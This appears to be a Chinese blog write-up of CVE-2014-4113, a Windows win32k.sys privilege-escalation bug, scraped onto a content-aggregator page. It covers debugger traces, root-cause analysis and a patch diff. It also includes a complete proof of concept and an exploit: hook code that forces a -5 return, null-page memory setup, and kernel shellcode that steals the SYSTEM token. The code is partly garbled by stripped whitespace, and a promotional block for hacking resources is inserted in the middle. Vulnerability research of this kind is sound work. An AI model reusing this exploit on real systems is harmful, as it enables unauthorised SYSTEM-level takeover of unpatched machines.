findwindowexa(findwindowexa函数的返回值)这都可以
漏洞介绍漏洞程序Microsoft Windows是美国微软(Microsoft)公司发布的一系列操作系统。win32k.sys是Windows
漏洞介绍漏洞程序Microsoft Windows是美国微软(Microsoft)公司发布的一系列操作系统win32k.sys是Windows子系统的内核部分,是一个内核模式设备驱动程序,它包含有窗口管理器、后台控制窗口和屏幕输出管理等。
如果Windows内核模式驱动程序不正确地处理内存中的对象,则存在一个特权提升漏洞成功利用此漏洞的攻击者可以运行内核模式中的任意代码攻击者随后可安装程序;查看、更改或删除数据;或者创建拥有完全管理权限的新帐户。
漏洞原理该漏洞发生的位置是在驱动文件Win32k.sys中的xxxHandleMenuMessage函数中,销毁弹出菜单的时候通过钩子的方法修改返回值,将返回值修改为fffffffb,因为对这个值没有严格的检查从而在sendmessage中再次被引用到,从而造成了UAF,这个方法可以在sendmessage中跳转到shellcode从而提权
实验环境虚拟机:Windows 7 x86 sp1物理机:Windows 10 x64 21H2用到的工具:IDA,Windbg,VS2022漏洞分析以网上随便找的poc为突破口,开始分析漏洞,在虚拟机里运行poc,windbg接管异常,说明漏洞实际存在(默认安装的Windows7x86sp1)
查看调用堆栈:kd>kbChildEBPRetAddrArgstoChild00af0bfa649d5b95c5fffffffb000001ed0024fcd4win32k!xxxSendMessageTimeout+0xb3
01af0bfa8c9d6392fbfffffffb000001ed0024fcd4win32k!xxxSendMessage+0x2802af0bfaec9d638c1faf0bfb0c00000000
0024fcd4win32k!xxxHandleMenuMessages+0x58203af0bfb389d63f8f1fd6652089d71f58000000000win32k!xxxMNLoop+0x2c6
04af0bfba09d63f9dc0000001c0000000200000000win32k!xxxTrackPopupMenuEx+0x5cd05af0bfc1483e441ea0001021100000002
00000000win32k!NtUserTrackPopupMenuEx+0xc306af0bfc1477a670b4(T)000102110000000200000000nt!KiFastCallEntry+0x12a
070024fce8762a483e(T)762922430001021100000002ntdll!KiFastSystemCallRet查看一下当前异常的地方:kd>uwin32k!xxxSendMessageTimeout+0xb3
: 9d5b93fa3b7e08 cmp edi,dword ptr [esi+8]9d5b93fd0f8484000000 je win32k!xxxSendMessageTimeout+0x140 (9d5b9487)
9d5b94038b0e mov ecx,dword ptr [esi]9d5b94058b15e4d1719d mov edx,dword ptr [win32k!gSharedInfo+0x4 (9d71d1e4)]
9d5b940b81e1ffff0000 and ecx,0FFFFh9d5b94110faf0de8d1719d imul ecx,dword ptr [win32k!gSharedInfo+0x8 (9d71d1e8)]
9d5b941833c0 xor eax,eax9d5b941af644110901 test byte ptr [ecx+edx+9],1是esi的值导致了漏洞,查看esi的值:
kd> r esi esi=fffffffb 在调用链中,由用户层的TrackPopupMenu函数触发漏洞,而这个函数的功能是在屏幕指定位置显示快捷菜单并且跟踪选择的菜单项这里头会调用xxxMNLoop,这个函数里有while(1)循环,应该是消息循环,处理消息的函数貌似正是xxxHandleMenuMessages
据查阅资料,TrackPopupMenu显示菜单之后,消息循环就由菜单接管了,此时进入的是PopupMenu的消息循环【一一帮助安全学习,所有资源关注我,私信回复“资料”获取一一】①网络安全学习路线②20份渗透测试电子书
③安全攻防357页笔记④50份安全攻防面试指南⑤安全红队渗透工具包⑥网络安全必备书籍⑦100个漏洞实战案例⑧安全大厂内部视频资源分析xxxHandleMenuMessages这里面开始经过一堆判断之后,会通过xxxMNFindWindowFromPoint获取一个窗口句柄,用于后续的xxxSendMessage函数使用
这个分支的大概内容是,从鼠标位置获取下一层的菜单项,获取到了就发送ButtonDown(0x1ED)消息,也就是说,执行到这个分支实际上是点击事件!而这里对于xxxMNFindWindowFromPoint
返回的句柄值的处理则是,如果不是-1,就发送0x1ED消息
分析xxxMNFindWindowFromPoint异常发生在了xxxSendMessage里的,是由于第一个参数传入的有问题导致的,而第一个参数来自xxxMNFindWindowFromPoint的返回值,该函数如下图所示
可以看到这个函数的开头:这里首先判断了当前菜单是否存在下级菜单,条件是ppopupmenu->spwndNextPopup有值,这里的ppopupmenu是传入的参数,是PPOPUPMENU结构体(参考资料[14])
其中spwndNextPopup成员的值含义是:下一层Popup菜单,是WND结构,所以需要创建两个popup菜单,其中一个作为另一个的下层structtagWND *spwndNextPopup;/* The next popup in the hierarchy. Null if the last * in chain */
这里发送了消息0x1EB,MN_FINDMENUWINDOWFROMPOINT消息,根据名字猜测功能就是根据位置找菜单窗口,发送的目标是popup菜单的下一层菜单,返回值应该就是菜单句柄了
这里对返回值会调用IsMFMWFPWindow函数进行处理:如果是非空,且不为-5或-1,就返回1BOOL __stdcall IsMFMWFPWindow(int a1){ return a1 && a1 !=
-5 && a1 != -1; } 若这里返回了1,就会进入if语句导致该变量被重新赋值,也就是说,这里如果要跳过这个if语句,返回值就必须是-1或-5,而在前面看到,如果返回值是-1,则不会进入到触发漏洞的SendMessage中,所以这里的返回值在为-5的时候,会触发漏洞
分析xxxSendMessageint __stdcall xxxSendMessage(PVOID P, CHAR pszMultiByteString, WCHAR WideCharString,
void *Src){ InterlockedIncrement(&glSendMessage); return xxxSendMessageTimeout(P, pszMultiByteString, WideCharString, Src,
0, 0, 0, (PVOID)1); } 这个函数把传入的参数又接着传入了xxxSendMessageTimeout函数分析xxxSendMessageTimeout程序异常点在esi的值上,esi=-5被传入了进来,然后进行取值触发地址访问异常
这个函数首先把这个值保存到了esi
接着往下有一个比较跳转:会从esi+8的地址取值
再往下还有两个要esi的地方:
Poc编写如果能控制0x1EB消息的返回值为-5,那么就能走到xxxSendMessageTimeout中,让程序异常触发漏洞,实现poc参考资料得知,这里的调用SendMessage存在两种调用形式,同步和异步,在异步调用的情况下,会从内核态进入用户态去执行用户钩子,执行完再切换回内核态返回:因此,可以Hook 0x1EB消息
Poc如下:include nclude LRESULT CALLBACK DialogFun(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam) {
// 手动触发按下事件if (uMsg == WM_ENTERIDLE) { PostMessageA(hWnd, WM_KEYDOWN, VK_DOWN, 0); PostMessageA(hWnd, WM_KEYDOWN, VK_RIGHT,
0); PostMessageA(hWnd, WM_LBUTTONDOWN, 0, 0); } return DefWindowProc(hWnd, uMsg, wParam, lParam); } LRESULT
CALLBACK NewDialogFun(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam) { // 触发漏洞,返回-5if (uMsg == 0x1eb
) { return-5; } return DefWindowProc(hWnd, uMsg, wParam, lParam); } LRESULT CALLBACK HookCallback(int
code, WPARAM wParam, LPARAM lParam) { CWPSTRUCT* ptag = (CWPSTRUCT*)lParam; if (ptag->message == 0x1eb
) { // 这里至关重要:需要解除Hookif (UnhookWindowsHook(WH_CALLWNDPROC, HookCallback)) { SetWindowLongA(ptag->hwnd, GWLP_WNDPROC, (LONG)NewDialogFun); } }
return CallNextHookEx(0, code, wParam, lParam); } int main() { // 注册窗口类 WNDCLASSA wnd = { 0 }; wnd.hInstance = ::GetModuleHandle(
NULL); wnd.lpfnWndProc = DialogFun; wnd.lpszClassName = "CVE-2014-4113"; RegisterClassA(&wnd); // 创建窗口
HWND hwnd = ::CreateWindowA( wnd.lpszClassName, "CVE-2014-4113", WS_OVERLAPPEDWINDOW, 0, 0, 800, 600
, NULL, NULL, wnd.hInstance, NULL); // 创建Pop-up菜单// 需要两个菜单,一个作为子菜单存在 HMENU menu1 = CreatePopupMenu();
// 主菜单 HMENU menu2 = CreatePopupMenu(); // 子菜单 ::AppendMenuA(menu2, MF_STRING, 0, "world"); ::AppendMenuA(menu1, MF_STRING | MF_POPUP, (
UINT_PTR)menu2, "hello"); //给它一个spwndNextPopup 指针// 设置Hook ::SetWindowsHookExA(WH_CALLWNDPROC, HookCallback,
NULL, GetCurrentThreadId()); // 触发漏洞BOOL ret = TrackPopupMenu(menu1, TPM_RIGHTBUTTON, 0, 0, 0, hwnd,
0); return0; } 这里踩了个坑!!设置完钩子在里头记得要解除钩子!!!漏洞利用在Poc的基础上,如果能控制0x3,0x11,0x5B这几个地址的值,就能进行漏洞的利用布置内存DWORDGetPtiCurrent() {
__asm{moveax, fs: [0x18]moveax, [eax + 0x40]}}BOOLinitMem() {//初始化一些要用到的内存HMODULEhNtdll = GetModuleHandleA("ntdll.dll");
typedefNTSTATUS(WINAPI* PNtAllocateVirtualMemory)(HANDLEProcessHandle,PVOID*BaseAddress,ULONGZeroBits,
PULONGAllocationSize,ULONGAllocationType,ULONGProtect);PNtAllocateVirtualMemoryNtAllocateVirtualMemory = (PNtAllocateVirtualMemory)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");
//申请内存ULONGbase = -5;ULONGsize = 0x1000;NTSTATUSntstatus = NtAllocateVirtualMemory(GetModuleHandle(NULL), (PVOID*)&base, 0, &size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if(ntstatus != 0) {FreeLibrary(hNtdll);returnFALSE;}*(DWORD*)0x3 = GetPtiCurrent();*(BYTE*)0x11 = (BYTE)4;
*(DWORD*)0x5B = (DWORD)ShellCode;returnTRUE;}Shellcodeint__stdcallShellCode(int parameter1, int parameter2, int parameter3, int parameter4) {
_asm { pushadmoveax, fs: [124h]// Find the _KTHREAD structure for the current threadmoveax, [eax + 0x50]
// Find the _EPROCESS structuremovecx, eaxmovedx, 4// edx = system PID(4)// The loop is to get the _EPROCESS of the system
find_sys_pid : moveax, [eax + 0xb8]// Find the process activity listsubeax, 0xb8// List traversalcmp[eax + 0xb4]
, edx// Determine whether it is SYSTEM based on PIDjnzfind_sys_pid// Replace the Tokenmovedx, [eax + 0xf8]
mov[ecx + 0xf8], edxpopad } return0; } 4113/CVE-2014-4113.cpp利用截图
补丁diff漏洞触发点(0x1ED消息)处的函数对比
可以看到,左边检查ebx参数是检查是否是-1,不是-1则发送消息右边的检查则多了一个过程,调用了IsMFMWFPWindow函数进行再次检查:BOOL __stdcall IsMFMWFPWindow(
int a1){ return a1 && a1 != -5 && a1 != -1; } 这下子直接杜绝了把-5当作参数传入SendMessage函数的情况,从而修补了漏洞
- 标签:
- 编辑:李松一
- 相关文章
-
外参(外参量)不要告诉别人
当一个二级相变通过非温度控制的外参量被连续压制到绝对零度附近时,体系会发生量子相变。发生量子相变的临界点,即量子临界点,是绝对…
-
缓冲区溢出攻击(简述缓冲区溢出攻击)这都可以?
缓冲区溢出攻击攻击者利用程序漏洞,将自己的攻击代码植入有缓冲区溢出漏洞的程序执行体中,改变该程序的执行过程,来获取目标系统的控…
- 语法分析器(语法分析器接收以()为单位)一篇读懂
- 炼狱蝰蛇驱动(炼狱蝰蛇驱动怎么下载安装)这都可以
- 笔记本显卡排名(笔记本显卡排名前十的品牌)奔走相告
- 火炬之光2洗点(火炬之光2洗点水合成)奔走相告
- register_chrdev(register_chrdev()函数)学会了吗